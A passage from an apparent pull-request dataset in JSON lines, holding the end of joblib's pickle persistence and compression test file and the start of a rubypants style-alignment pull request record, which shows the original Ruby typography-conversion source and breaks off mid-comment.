converted.dtype.byteorder == \"=\"\n\n    # List of numpy arrays with little endian byteorder.\n    le_arrays = [np.array([(1, 2.0), (3, 4.0)],\n                          dtype=[('', '<i8'), ('', '<f8')]),\n                 np.arange(3, dtype=np.dtype('<i8')),\n                 np.arange(3, dtype=np.dtype('<f8'))]\n\n    # Verify the byteorder mismatch is correctly detected.\n    for array in le_arrays:\n        if sys.byteorder == 'little':\n            assert not _is_numpy_array_byte_order_mismatch(array)\n        else:\n            assert _is_numpy_array_byte_order_mismatch(array)\n        converted = _ensure_native_byte_order(array)\n        if converted.dtype.fields:\n            for f in converted.dtype.fields.values():\n                f[0].byteorder == '='\n        else:\n            assert converted.dtype.byteorder == \"=\"\n\n\n@parametrize('compress_tuple', [('zlib', 3), ('gzip', 3)])\ndef test_compress_tuple_argument(tmpdir, compress_tuple):\n    # Verify the tuple is correctly taken into account.\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(\"dummy\", filename,\n                      compress=compress_tuple)\n    # Verify the file contains the right magic number\n    with open(filename, 'rb') as f:\n        assert _detect_compressor(f) == compress_tuple[0]\n\n\n@parametrize('compress_tuple,message',\n             [(('zlib', 3, 'extra'),        # wrong compress tuple\n               'Compress argument tuple should contain exactly 2 elements'),\n              (('wrong', 3),                # wrong compress method\n               'Non valid compression method given: \"{}\"'.format('wrong')),\n              (('zlib', 'wrong'),           # wrong compress level\n               'Non valid compress level given: \"{}\"'.format('wrong'))])\ndef test_compress_tuple_argument_exception(tmpdir, compress_tuple, message):\n    filename = tmpdir.join('test.pkl').strpath\n    # Verify setting a wrong compress tuple raises a ValueError.\n    with raises(ValueError) as excinfo:\n        numpy_pickle.dump('dummy', filename, compress=compress_tuple)\n    excinfo.match(message)\n\n\n@parametrize('compress_string', ['zlib', 'gzip'])\ndef test_compress_string_argument(tmpdir, compress_string):\n    # Verify the string is correctly taken into account.\n    filename = tmpdir.join('test.pkl').strpath\n    numpy_pickle.dump(\"dummy\", filename,\n                      compress=compress_string)\n    # Verify the file contains the right magic number\n    with open(filename, 'rb') as f:\n        assert _detect_compressor(f) == compress_string\n\n\n@with_numpy\n@parametrize('compress', [1, 3, 6])\n@parametrize('cmethod', _COMPRESSORS)\ndef test_joblib_compression_formats(tmpdir, compress, cmethod):\n    filename = tmpdir.join('test.pkl').strpath\n    objects = (np.ones(shape=(100, 100), dtype='f8'),\n               range(10),\n               {'a': 1, 2: 'b'}, [], (), {}, 0, 1.0)\n\n    if cmethod in (\"lzma\", \"xz\") and lzma is None:\n        pytest.skip(\"lzma is support not available\")\n\n    elif cmethod == 'lz4' and with_lz4.args[0]:\n        # Skip the test if lz4 is not installed. We here use the with_lz4\n        # skipif fixture whose argument is True when lz4 is not installed\n        pytest.skip(\"lz4 is not installed.\")\n\n    dump_filename = filename + \".\" + cmethod\n    for obj in objects:\n        numpy_pickle.dump(obj, dump_filename, compress=(cmethod, compress))\n        # Verify the file contains the right magic number\n        with open(dump_filename, 'rb') as f:\n            assert _detect_compressor(f) == cmethod\n        # Verify the reloaded object is correct\n        obj_reloaded = numpy_pickle.load(dump_filename)\n        assert isinstance(obj_reloaded, type(obj))\n        if isinstance(obj, np.ndarray):\n            np.testing.assert_array_equal(obj_reloaded, obj)\n        else:\n            assert obj_reloaded == obj\n\n\ndef _gzip_file_decompress(source_filename, target_filename):\n    \"\"\"Decompress a gzip file.\"\"\"\n    with closing(gzip.GzipFile(source_filename, \"rb\")) as fo:\n        buf = fo.read()\n\n    with open(target_filename, \"wb\") as fo:\n        fo.write(buf)\n\n\ndef _zlib_file_decompress(source_filename, target_filename):\n    \"\"\"Decompress a zlib file.\"\"\"\n    with open(source_filename, 'rb') as fo:\n        buf = zlib.decompress(fo.read())\n\n    with open(target_filename, 'wb') as fo:\n        fo.write(buf)\n\n\n@parametrize('extension,decompress',\n             [('.z', _zlib_file_decompress),\n              ('.gz', _gzip_file_decompress)])\ndef test_load_externally_decompressed_files(tmpdir, extension, decompress):\n    # Test that BinaryZlibFile generates valid gzip and zlib compressed files.\n    obj = \"a string to persist\"\n    filename_raw = tmpdir.join('test.pkl').strpath\n\n    filename_compressed = filename_raw + extension\n    # Use automatic extension detection to compress with the right method.\n    numpy_pickle.dump(obj, filename_compressed)\n\n    # Decompress with the corresponding method\n    decompress(filename_compressed, filename_raw)\n\n    # Test that the uncompressed pickle can be loaded and\n    # that the result is correct.\n    obj_reloaded = numpy_pickle.load(filename_raw)\n    assert obj == obj_reloaded\n\n\n@parametrize('extension,cmethod',\n             # valid compressor extensions\n             [('.z', 'zlib'),\n              ('.gz', 'gzip'),\n              ('.bz2', 'bz2'),\n              ('.lzma', 'lzma'),\n              ('.xz', 'xz'),\n              # invalid compressor extensions\n              ('.pkl', 'not-compressed'),\n              ('', 'not-compressed')])\ndef test_compression_using_file_extension(tmpdir, extension, cmethod):\n    if cmethod in (\"lzma\", \"xz\") and lzma is None:\n        pytest.skip(\"lzma is missing\")\n    # test that compression method corresponds to the given filename extension.\n    filename = tmpdir.join('test.pkl').strpath\n    obj = \"object to dump\"\n\n    dump_fname = filename + extension\n    numpy_pickle.dump(obj, dump_fname)\n    # Verify the file contains the right magic number\n    with open(dump_fname, 'rb') as f:\n        assert _detect_compressor(f) == cmethod\n    # Verify the reloaded object is correct\n    obj_reloaded = numpy_pickle.load(dump_fname)\n    assert isinstance(obj_reloaded, type(obj))\n    assert obj_reloaded == obj\n\n\n@with_numpy\ndef test_file_handle_persistence(tmpdir):\n    objs = [np.random.random((10, 10)), \"some data\"]\n    fobjs = [bz2.BZ2File, gzip.GzipFile]\n    if lzma is not None:\n        fobjs += [lzma.LZMAFile]\n    filename = tmpdir.join('test.pkl').strpath\n\n    for obj in objs:\n        for fobj in fobjs:\n            with fobj(filename, 'wb') as f:\n                numpy_pickle.dump(obj, f)\n\n            # using the same decompressor prevents from internally\n            # decompress again.\n            with fobj(filename, 'rb') as f:\n                obj_reloaded = numpy_pickle.load(f)\n\n            # when needed, the correct decompressor should be used when\n            # passing a raw file handle.\n            with open(filename, 'rb') as f:\n                obj_reloaded_2 = numpy_pickle.load(f)\n\n            if isinstance(obj, np.ndarray):\n                np.testing.assert_array_equal(obj_reloaded, obj)\n                np.testing.assert_array_equal(obj_reloaded_2, obj)\n            else:\n                assert obj_reloaded == obj\n                assert obj_reloaded_2 == obj\n\n\n@with_numpy\ndef test_in_memory_persistence():\n    objs = [np.random.random((10, 10)), \"some data\"]\n    for obj in objs:\n        f = io.BytesIO()\n        numpy_pickle.dump(obj, f)\n        obj_reloaded = numpy_pickle.load(f)\n        if isinstance(obj, np.ndarray):\n            np.testing.assert_array_equal(obj_reloaded, obj)\n        else:\n            assert obj_reloaded == obj\n\n\n@with_numpy\ndef test_file_handle_persistence_mmap(tmpdir):\n    obj = np.random.random((10, 10))\n    filename = tmpdir.join('test.pkl').strpath\n\n    with open(filename, 'wb') as f:\n        numpy_pickle.dump(obj, f)\n\n    with open(filename, 'rb') as f:\n        obj_reloaded = numpy_pickle.load(f, mmap_mode='r+')\n\n    np.testing.assert_array_equal(obj_reloaded, obj)\n\n\n@with_numpy\ndef test_file_handle_persistence_compressed_mmap(tmpdir):\n    obj = np.random.random((10, 10))\n    filename = tmpdir.join('test.pkl').strpath\n\n    with open(filename, 'wb') as f:\n        numpy_pickle.dump(obj, f, compress=('gzip', 3))\n\n    with closing(gzip.GzipFile(filename, 'rb')) as f:\n        with warns(UserWarning) as warninfo:\n            numpy_pickle.load(f, mmap_mode='r+')\n        assert len(warninfo) == 1\n        assert (str(warninfo[0].message) ==\n                '\"%(fileobj)r\" is not a raw file, mmap_mode \"%(mmap_mode)s\" '\n                'flag will be ignored.' % {'fileobj': f, 'mmap_mode': 'r+'})\n\n\n@with_numpy\ndef test_file_handle_persistence_in_memory_mmap():\n    obj = np.random.random((10, 10))\n    buf = io.BytesIO()\n\n    numpy_pickle.dump(obj, buf)\n\n    with warns(UserWarning) as warninfo:\n        numpy_pickle.load(buf, mmap_mode='r+')\n    assert len(warninfo) == 1\n    assert (str(warninfo[0].message) ==\n            'In memory persistence is not compatible with mmap_mode '\n            '\"%(mmap_mode)s\" flag passed. mmap_mode option will be '\n            'ignored.' % {'mmap_mode': 'r+'})\n\n\n@parametrize('data', [b'a little data as bytes.',\n                      # More bytes\n                      10000 * \"{}\".format(\n                          random.randint(0, 1000) * 1000).encode('latin-1')],\n             ids=[\"a little data as bytes.\", \"a large data as bytes.\"])\n@parametrize('compress_level', [1, 3, 9])\ndef test_binary_zlibfile(tmpdir, data, compress_level):\n    filename = tmpdir.join('test.pkl').strpath\n    # Regular cases\n    with open(filename, 'wb') as f:\n        with BinaryZlibFile(f, 'wb',\n                            compresslevel=compress_level) as fz:\n            assert fz.writable()\n            fz.write(data)\n            assert fz.fileno() == f.fileno()\n            with raises(io.UnsupportedOperation):\n                fz._check_can_read()\n\n            with raises(io.UnsupportedOperation):\n                fz._check_can_seek()\n        assert fz.closed\n        with raises(ValueError):\n            fz._check_not_closed()\n\n    with open(filename, 'rb') as f:\n        with BinaryZlibFile(f) as fz:\n            assert fz.readable()\n            assert fz.seekable()\n            assert fz.fileno() == f.fileno()\n            assert fz.read() == data\n            with raises(io.UnsupportedOperation):\n                fz._check_can_write()\n            assert fz.seekable()\n            fz.seek(0)\n            assert fz.tell() == 0\n        assert fz.closed\n\n    # Test with a filename as input\n    with BinaryZlibFile(filename, 'wb',\n                        compresslevel=compress_level) as fz:\n        assert fz.writable()\n        fz.write(data)\n\n    with BinaryZlibFile(filename, 'rb') as fz:\n        assert fz.read() == data\n        assert fz.seekable()\n\n    # Test without context manager\n    fz = BinaryZlibFile(filename, 'wb', compresslevel=compress_level)\n    assert fz.writable()\n    fz.write(data)\n    fz.close()\n\n    fz = BinaryZlibFile(filename, 'rb')\n    assert fz.read() == data\n    fz.close()\n\n\n@parametrize('bad_value', [-1, 10, 15, 'a', (), {}])\ndef test_binary_zlibfile_bad_compression_levels(tmpdir, bad_value):\n    filename = tmpdir.join('test.pkl').strpath\n    with raises(ValueError) as excinfo:\n        BinaryZlibFile(filename, 'wb', compresslevel=bad_value)\n    pattern = re.escape(\"'compresslevel' must be an integer between 1 and 9. \"\n                        \"You provided 'compresslevel={}'\".format(bad_value))\n    excinfo.match(pattern)\n\n\n@parametrize('bad_mode', ['a', 'x', 'r', 'w', 1, 2])\ndef test_binary_zlibfile_invalid_modes(tmpdir, bad_mode):\n    filename = tmpdir.join('test.pkl').strpath\n    with raises(ValueError) as excinfo:\n        BinaryZlibFile(filename, bad_mode)\n    excinfo.match(\"Invalid mode\")\n\n\n@parametrize('bad_file', [1, (), {}])\ndef test_binary_zlibfile_invalid_filename_type(bad_file):\n    with raises(TypeError) as excinfo:\n        BinaryZlibFile(bad_file, 'rb')\n    excinfo.match(\"filename must be a str or bytes object, or a file\")\n\n\n###############################################################################\n# Test dumping array subclasses\nif np is not None:\n\n    class SubArray(np.ndarray):\n\n        def __reduce__(self):\n            return _load_sub_array, (np.asarray(self), )\n\n    def _load_sub_array(arr):\n        d = SubArray(arr.shape)\n        d[:] = arr\n        return d\n\n    class ComplexTestObject:\n        \"\"\"A complex object containing numpy arrays as attributes.\"\"\"\n\n        def __init__(self):\n            self.array_float = np.arange(100, dtype='float64')\n            self.array_int = np.ones(100, dtype='int32')\n            self.array_obj = np.array(['a', 10, 20.0], dtype='object')\n\n\n@with_numpy\ndef test_numpy_subclass(tmpdir):\n    filename = tmpdir.join('test.pkl').strpath\n    a = SubArray((10,))\n    numpy_pickle.dump(a, filename)\n    c = numpy_pickle.load(filename)\n    assert isinstance(c, SubArray)\n    np.testing.assert_array_equal(c, a)\n\n\ndef test_pathlib(tmpdir):\n    filename = tmpdir.join('test.pkl').strpath\n    value = 123\n    numpy_pickle.dump(value, Path(filename))\n    assert numpy_pickle.load(filename) == value\n    numpy_pickle.dump(value, filename)\n    assert numpy_pickle.load(Path(filename)) == value\n\n\n@with_numpy\ndef test_non_contiguous_array_pickling(tmpdir):\n    filename = tmpdir.join('test.pkl').strpath\n\n    for array in [  # Array that triggers a contiguousness issue with nditer,\n                    # see https://github.com/joblib/joblib/pull/352 and see\n                    # https://github.com/joblib/joblib/pull/353\n                    np.asfortranarray([[1, 2], [3, 4]])[1:],\n                    # Non contiguous array with works fine with nditer\n                    np.ones((10, 50, 20), order='F')[:, :1, :]]:\n        assert not array.flags.c_contiguous\n        assert not array.flags.f_contiguous\n        numpy_pickle.dump(array, filename)\n        array_reloaded = numpy_pickle.load(filename)\n        np.testing.assert_array_equal(array_reloaded, array)\n\n\n@with_numpy\ndef test_pickle_highest_protocol(tmpdir):\n    # ensure persistence of a numpy array is valid even when using\n    # the pickle HIGHEST_PROTOCOL.\n    # see https://github.com/joblib/joblib/issues/362\n\n    filename = tmpdir.join('test.pkl').strpath\n    test_array = np.zeros(10)\n\n    numpy_pickle.dump(test_array, filename, protocol=pickle.HIGHEST_PROTOCOL)\n    array_reloaded = numpy_pickle.load(filename)\n\n    np.testing.assert_array_equal(array_reloaded, test_array)\n\n\n@with_numpy\ndef test_pickle_in_socket():\n    # test that joblib can pickle in sockets\n    test_array = np.arange(10)\n    _ADDR = (\"localhost\", 12345)\n    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    listener.bind(_ADDR)\n    listener.listen(1)\n\n    with socket.create_connection(_ADDR) as client:\n        server, client_addr = listener.accept()\n\n        with server.makefile(\"wb\") as sf:\n            numpy_pickle.dump(test_array, sf)\n\n        with client.makefile(\"rb\") as cf:\n            array_reloaded = numpy_pickle.load(cf)\n\n        np.testing.assert_array_equal(array_reloaded, test_array)\n\n        # Check that a byte-aligned numpy array written in a file can be send\n        # over a socket and then read on the other side\n        bytes_to_send = io.BytesIO()\n        numpy_pickle.dump(test_array, bytes_to_send)\n        server.send(bytes_to_send.getvalue())\n\n        with client.makefile(\"rb\") as cf:\n            array_reloaded = numpy_pickle.load(cf)\n\n        np.testing.assert_array_equal(array_reloaded, test_array)\n\n\n@with_numpy\ndef test_load_memmap_with_big_offset(tmpdir):\n    # Test that numpy memmap offset is set correctly if greater than\n    # mmap.ALLOCATIONGRANULARITY, see\n    # https://github.com/joblib/joblib/issues/451 and\n    # https://github.com/numpy/numpy/pull/8443 for more details.\n    fname = tmpdir.join('test.mmap').strpath\n    size = mmap.ALLOCATIONGRANULARITY\n    obj = [np.zeros(size, dtype='uint8'), np.ones(size, dtype='uint8')]\n    numpy_pickle.dump(obj, fname)\n    memmaps = numpy_pickle.load(fname, mmap_mode='r')\n    assert isinstance(memmaps[1], np.memmap)\n    assert memmaps[1].offset > size\n    np.testing.assert_array_equal(obj, memmaps)\n\n\ndef test_register_compressor(tmpdir):\n    # Check that registering compressor file works.\n    compressor_name = 'test-name'\n    compressor_prefix = 'test-prefix'\n\n    class BinaryCompressorTestFile(io.BufferedIOBase):\n        pass\n\n    class BinaryCompressorTestWrapper(CompressorWrapper):\n\n        def __init__(self):\n            CompressorWrapper.__init__(self, obj=BinaryCompressorTestFile,\n                                       prefix=compressor_prefix)\n\n    register_compressor(compressor_name, BinaryCompressorTestWrapper())\n\n    assert (_COMPRESSORS[compressor_name].fileobj_factory ==\n            BinaryCompressorTestFile)\n    assert _COMPRESSORS[compressor_name].prefix == compressor_prefix\n\n    # Remove this dummy compressor file from extra compressors because other\n    # tests might fail because of this\n    _COMPRESSORS.pop(compressor_name)\n\n\n@parametrize('invalid_name', [1, (), {}])\ndef test_register_compressor_invalid_name(invalid_name):\n    # Test that registering an invalid compressor name is not allowed.\n    with raises(ValueError) as excinfo:\n        register_compressor(invalid_name, None)\n    excinfo.match(\"Compressor name should be a string\")\n\n\ndef test_register_compressor_invalid_fileobj():\n    # Test that registering an invalid file object is not allowed.\n\n    class InvalidFileObject():\n        pass\n\n    class InvalidFileObjectWrapper(CompressorWrapper):\n        def __init__(self):\n            CompressorWrapper.__init__(self, obj=InvalidFileObject,\n                                       prefix=b'prefix')\n\n    with raises(ValueError) as excinfo:\n        register_compressor('invalid', InvalidFileObjectWrapper())\n\n    excinfo.match(\"Compressor 'fileobj_factory' attribute should implement \"\n                  \"the file object interface\")\n\n\nclass AnotherZlibCompressorWrapper(CompressorWrapper):\n\n    def __init__(self):\n        CompressorWrapper.__init__(self, obj=BinaryZlibFile, prefix=b'prefix')\n\n\nclass StandardLibGzipCompressorWrapper(CompressorWrapper):\n\n    def __init__(self):\n        CompressorWrapper.__init__(self, obj=gzip.GzipFile, prefix=b'prefix')\n\n\ndef test_register_compressor_already_registered():\n    # Test registration of existing compressor files.\n    compressor_name = 'test-name'\n\n    # register a test compressor\n    register_compressor(compressor_name, AnotherZlibCompressorWrapper())\n\n    with raises(ValueError) as excinfo:\n        register_compressor(compressor_name,\n                            StandardLibGzipCompressorWrapper())\n    excinfo.match(\"Compressor '{}' already registered.\"\n                  .format(compressor_name))\n\n    register_compressor(compressor_name, StandardLibGzipCompressorWrapper(),\n                        force=True)\n\n    assert compressor_name in _COMPRESSORS\n    assert _COMPRESSORS[compressor_name].fileobj_factory == gzip.GzipFile\n\n    # Remove this dummy compressor file from extra compressors because other\n    # tests might fail because of this\n    _COMPRESSORS.pop(compressor_name)\n\n\n@with_lz4\ndef test_lz4_compression(tmpdir):\n    # Check that lz4 can be used when dependency is available.\n    import lz4.frame\n    compressor = 'lz4'\n    assert compressor in _COMPRESSORS\n    assert _COMPRESSORS[compressor].fileobj_factory == lz4.frame.LZ4FrameFile\n\n    fname = tmpdir.join('test.pkl').strpath\n    data = 'test data'\n    numpy_pickle.dump(data, fname, compress=compressor)\n\n    with open(fname, 'rb') as f:\n        assert f.read(len(_LZ4_PREFIX)) == _LZ4_PREFIX\n    assert numpy_pickle.load(fname) == data\n\n    # Test that LZ4 is applied based on file extension\n    numpy_pickle.dump(data, fname + '.lz4')\n    with open(fname, 'rb') as f:\n        assert f.read(len(_LZ4_PREFIX)) == _LZ4_PREFIX\n    assert numpy_pickle.load(fname) == data\n\n\n@without_lz4\ndef test_lz4_compression_without_lz4(tmpdir):\n    # Check that lz4 cannot be used when dependency is not available.\n    fname = tmpdir.join('test.nolz4').strpath\n    data = 'test data'\n    msg = LZ4_NOT_INSTALLED_ERROR\n    with raises(ValueError) as excinfo:\n        numpy_pickle.dump(data, fname, compress='lz4')\n    excinfo.match(msg)\n\n    with raises(ValueError) as excinfo:\n        numpy_pickle.dump(data, fname + '.lz4')\n    excinfo.match(msg)\n\n\nprotocols = [pickle.DEFAULT_PROTOCOL]\nif pickle.HIGHEST_PROTOCOL != pickle.DEFAULT_PROTOCOL:\n    protocols.append(pickle.HIGHEST_PROTOCOL)\n\n\n@with_numpy\n@parametrize('protocol', protocols)\ndef test_memmap_alignment_padding(tmpdir, protocol):\n    # Test that memmaped arrays returned by numpy.load are correctly aligned\n    fname = tmpdir.join('test.mmap').strpath\n\n    a = np.random.randn(2)\n    numpy_pickle.dump(a, fname, protocol=protocol)\n    memmap = numpy_pickle.load(fname, mmap_mode='r')\n    assert isinstance(memmap, np.memmap)\n    np.testing.assert_array_equal(a, memmap)\n    assert (\n        memmap.ctypes.data % numpy_pickle.NUMPY_ARRAY_ALIGNMENT_BYTES == 0)\n    assert memmap.flags.aligned\n\n    array_list = [\n        np.random.randn(2), np.random.randn(2),\n        np.random.randn(2), np.random.randn(2)\n    ]\n\n    # On Windows OSError 22 if reusing the same path for memmap ...\n    fname = tmpdir.join('test1.mmap').strpath\n    numpy_pickle.dump(array_list, fname, protocol=protocol)\n    l_reloaded = numpy_pickle.load(fname, mmap_mode='r')\n\n    for idx, memmap in enumerate(l_reloaded):\n        assert isinstance(memmap, np.memmap)\n        np.testing.assert_array_equal(array_list[idx], memmap)\n        assert (\n            memmap.ctypes.data % numpy_pickle.NUMPY_ARRAY_ALIGNMENT_BYTES == 0)\n        assert memmap.flags.aligned\n\n    array_dict = {\n        'a0': np.arange(2, dtype=np.uint8),\n        'a1': np.arange(3, dtype=np.uint8),\n        'a2': np.arange(5, dtype=np.uint8),\n        'a3': np.arange(7, dtype=np.uint8),\n        'a4': np.arange(11, dtype=np.uint8),\n        'a5': np.arange(13, dtype=np.uint8),\n        'a6': np.arange(17, dtype=np.uint8),\n        'a7': np.arange(19, dtype=np.uint8),\n        'a8': np.arange(23, dtype=np.uint8),\n    }\n\n    # On Windows OSError 22 if reusing the same path for memmap ...\n    fname = tmpdir.join('test2.mmap').strpath\n    numpy_pickle.dump(array_dict, fname, protocol=protocol)\n    d_reloaded = numpy_pickle.load(fname, mmap_mode='r')\n\n    for key, memmap in d_reloaded.items():\n        assert isinstance(memmap, np.memmap)\n        np.testing.assert_array_equal(array_dict[key], memmap)\n        assert (\n            memmap.ctypes.data % numpy_pickle.NUMPY_ARRAY_ALIGNMENT_BYTES == 0)\n        assert memmap.flags.aligned\n"}}
{"repo": "jmcnevin/rubypants", "pr_number": 19, "title": "[Style] Align if modifiers based on surrounding code", "state": "closed", "merged_at": "2018-04-04T16:25:14Z", "additions": 19, "deletions": 19, "files_changed": ["lib/rubypants.rb"], "files_before": {"lib/rubypants.rb": "require_relative 'version'\n\nclass RubyPants < String\n  extend RubyPantsVersion\n\n  # Create a new RubyPants instance with the text in +string+.\n  #\n  # Allowed elements in the options array:\n  #\n  # 0  :: do nothing\n  # 1  :: enable all, using only em-dash shortcuts\n  # 2  :: enable all, using old school en- and em-dash shortcuts (*default*)\n  # 3  :: enable all, using inverted old school en and em-dash shortcuts\n  # -1 :: stupefy (translate HTML entities to their ASCII-counterparts)\n  #\n  # If you don't like any of these defaults, you can pass symbols to change\n  # RubyPants' behavior:\n  #\n  # <tt>:quotes</tt>         :: quotes\n  # <tt>:backticks</tt>      :: backtick quotes (``double'' only)\n  # <tt>:allbackticks</tt>   :: backtick quotes (``double'' and `single')\n  # <tt>:dashes</tt>         :: dashes\n  # <tt>:oldschool</tt>      :: old school dashes\n  # <tt>:inverted</tt>       :: inverted old school dashes\n  # <tt>:ellipses</tt>       :: ellipses\n  # <tt>:prevent_breaks</tt> :: use nbsp and word-joiner to avoid breaking\n  #                             before dashes and ellipses\n  # <tt>:named_entities</tt> :: used named entities instead of the default\n  #                             decimal entities (see below)\n  # <tt>:convertquotes</tt>  :: convert <tt>&quot;</tt> entities to\n  #                             <tt>\"</tt>\n  # <tt>:stupefy</tt>        :: translate RubyPants HTML entities\n  #                             to their ASCII counterparts.\n  #\n  # In addition, you can customize the HTML entities that will be injected by\n  # passing in a hash for the final argument. The defaults for these entities\n  # are as follows:\n  #\n  # <tt>:single_left_quote</tt>  :: <tt>&#8216;</tt>\n  # <tt>:double_left_quote</tt>  :: <tt>&#8220;</tt>\n  # <tt>:single_right_quote</tt> :: <tt>&#8217;</tt>\n  # <tt>:double_right_quote</tt> :: <tt>&#8221;</tt>\n  # <tt>:em_dash</tt>            :: <tt>&#8212;</tt>\n  # <tt>:en_dash</tt>            :: <tt>&#8211;</tt>\n  # <tt>:ellipsis</tt>           :: <tt>&#8230;</tt>\n  # <tt>:non_breaking_space</tt> :: <tt>&nbsp;</tt>\n  # <tt>:word_joiner</tt>        :: <tt>&#8288;</tt>\n  #\n  # If the <tt>:named_entities</tt> option is used, the default entities are\n  # as follows:\n  #\n  # <tt>:single_left_quote</tt>  :: <tt>&lsquo;</tt>\n  # <tt>:double_left_quote</tt>  :: <tt>&ldquo;</tt>\n  # <tt>:single_right_quote</tt> :: <tt>&rsquo;</tt>\n  # <tt>:double_right_quote</tt> :: <tt>&rdquo;</tt>\n  # <tt>:em_dash</tt>            :: <tt>&mdash;</tt>\n  # <tt>:en_dash</tt>            :: <tt>&ndash;</tt>\n  # <tt>:ellipsis</tt>           :: <tt>&hellip;</tt>\n  # <tt>:non_breaking_space</tt> :: <tt>&nbsp;</tt>\n  # <tt>:word_joiner</tt>        :: <tt>&#8288;</tt>\n  #\n  # If the <tt>:character_entities</tt> option is used, RubyPants will\n  # emit Unicode characters directly, rather than HTML entities. By default\n  # this excludes the space characters (non-breaking space and\n  # word-joiner). To additionally emit Unicode space characters, use the\n  # <tt>:character_spaces</tt> option.\n  #\n  def initialize(string, options=[2], entities = {})\n    super string\n\n    @options = [*options]\n    @entities = default_entities\n    @entities.merge!(named_entities) if @options.include?(:named_entities)\n    @entities.merge!(character_entities) if @options.include?(:character_entities)\n    @entities.merge!(character_spaces) if @options.include?(:character_spaces)\n    @entities.merge!(entities)\n  end\n\n  # Apply SmartyPants transformations.\n  def to_html\n    do_quotes = do_backticks = do_dashes = do_ellipses = do_stupify = nil\n    convert_quotes = prevent_breaks = nil\n\n    if @options.include?(0)\n      # Do nothing.\n      return self\n    elsif @options.include?(1)\n      # Do everything, turn all options on.\n      do_quotes = do_backticks = do_ellipses = true\n      do_dashes = :normal\n    elsif @options.include?(2)\n      # Do everything, turn all options on, use old school dash shorthand.\n      do_quotes = do_backticks = do_ellipses = true\n      do_dashes = :oldschool\n    elsif @options.include?(3)\n      # Do everything, turn all options on, use inverted old school\n      # dash shorthand.\n      do_quotes = do_backticks = do_ellipses = true\n      do_dashes = :inverted\n    elsif @options.include?(-1)\n      do_stupefy = true\n    end\n\n    # Explicit flags override numeric flag groups.\n    do_quotes      = true if @options.include?(:quotes)\n    do_backticks   = true if @options.include?(:backticks)\n    do_backticks   = :both if @options.include?(:allbackticks)\n    do_dashes      = :normal if @options.include?(:dashes)\n    do_dashes      = :oldschool if @options.include?(:oldschool)\n    do_dashes      = :inverted if @options.include?(:inverted)\n    prevent_breaks = true if @options.include?(:prevent_breaks)\n    do_ellipses    = true if @options.include?(:ellipses)\n    convert_quotes = true if @options.include?(:convertquotes)\n    do_stupefy     = true if @options.include?(:stupefy)\n\n    # Parse the HTML\n    tokens = tokenize\n\n    # Keep track of when we're inside <pre> or <code> tags.\n    in_pre = nil\n\n    # Here is the result stored in.\n    result = \"\"\n\n    # This is a cheat, used to get some context for one-character\n    # tokens that consist of just a quote char. What we do is remember\n    # the last character of the previous text token, to use as context\n    # to curl single- character quote tokens correctly.\n    prev_token_last_char = nil\n\n    tokens.each do |token|\n      if token.first == :tag\n        result << token[1]\n        if token[1].end_with? '/>'\n          # ignore self-closing tags\n        elsif token[1] =~ %r!\\A<(/?)(pre|code|kbd|script|style|math)[\\s>]!\n          if $1 == '' && ! in_pre\n            in_pre = $2\n          elsif $1 == '/' && $2 == in_pre\n            in_pre = nil\n          end\n        end\n      else\n        t = token[1]\n\n        # Remember last char of this token before processing.\n        last_char = t[-1].chr\n\n        unless in_pre\n          t = process_escapes t\n\n          t.gsub!(/&quot;/, '\"')  if convert_quotes\n\n          if do_dashes\n            t = educate_dashes t, prevent_breaks            if do_dashes == :normal\n            t = educate_dashes_oldschool t, prevent_breaks  if do_dashes == :oldschool\n            t = educate_dashes_inverted t, prevent_breaks   if do_dashes == :inverted\n          end\n\n          t = educate_ellipses t, prevent_breaks  if do_ellipses\n\n          # Note: backticks need to be processed before quotes.\n          if do_backticks\n            t = educate_backticks t\n            t = educate_single_backticks t  if do_backticks == :both\n          end\n\n          if do_quotes\n            if t == \"'\"\n              # Special case: single-character ' token\n              if prev_token_last_char =~ /\\S/\n                t = entity(:single_right_quote)\n              else\n                t = entity(:single_left_quote)\n              end\n            elsif t == '\"'\n              # Special case: single-character \" token\n              if prev_token_last_char =~ /\\S/\n                t = entity(:double_right_quote)\n              else\n                t = entity(:double_left_quote)\n              end\n            else\n              # Normal case:\n              t = educate_quotes t\n            end\n          end\n\n          t = stupefy_entities t  if do_stupefy\n        end\n\n        prev_token_last_char = last_char\n        result << t\n      end\n    end\n\n    # Done\n    result\n  end\n\n  protected\n\n  # Return the string, with after processing the following backslash\n  # escape sequences. This is useful if you want to force a \"dumb\" quote\n  # or other character to appear.\n  #\n  # Escaped are:\n  #      \\\\    \\\"    \\'    \\.    \\-    \\`\n  #\n  def process_escapes(str)\n    str.\n      gsub('\\\\\\\\', '&#92;').\n      gsub('\\\"',   '&#34;').\n      gsub(\"\\\\\\'\", '&#39;').\n      gsub('\\.',   '&#46;').\n      gsub('\\-',   '&#45;').\n      gsub('\\`',   '&#96;')\n  end\n\n  def self.n_of(n, x)\n    x = Regexp.escape(x)\n    /(?<!#{x})   # not preceded by x\n     #{x}{#{n}}  # n of x\n     (?!#{x})    # not followed by x\n    /x\n  end\n\n  DOUBLE_DASH = n_of(2, '-')\n  TRIPLE_DASH = n_of(3, '-')\n\n  # Return +str+ replacing all +patt+ with +repl+. If +prevent_breaks+ is true,\n  # then replace spaces preceding +patt+ with a non-breaking space, and if there\n  # are no spaces, then insert a word-joiner.\n  #\n  def educate(str, patt, repl, prevent_breaks)\n    patt = /(?<spaces>[[:space:]]*)#{patt}/\n    str.gsub(patt) do\n      spaces = if prevent_breaks && $~['spaces'].length > 0\n                 entity(:non_breaking_space) # * $~['spaces'].length\n               elsif prevent_breaks\n                 entity(:word_joiner)\n               else\n                 $~['spaces']\n               end\n      spaces + repl\n    end\n  end\n\n  # Return the string, with each instance of \"<tt>--</tt>\" translated to an\n  # em-dash HTML entity.\n  #\n  def educate_dashes(str, prevent_breaks=false)\n    educate(str, DOUBLE_DASH, entity(:em_dash), prevent_breaks)\n  end\n\n  # Return the string, with each instance of \"<tt>--</tt>\" translated to an\n  # en-dash HTML entity, and each \"<tt>---</tt>\" translated to an\n  # em-dash HTML entity.\n  #\n  def educate_dashes_oldschool(str, prevent_breaks=false)\n    str = educate(str, TRIPLE_DASH, entity(:em_dash), prevent_breaks)\n    educate(str, DOUBLE_DASH, entity(:en_dash), prevent_breaks)\n  end\n\n  # Return the string, with each instance of \"<tt>--</tt>\" translated\n  # to an em-dash HTML entity, and each \"<tt>---</tt>\" translated to\n  # an en-dash HTML entity. Two reasons why: First, unlike the en- and\n  # em-dash syntax supported by 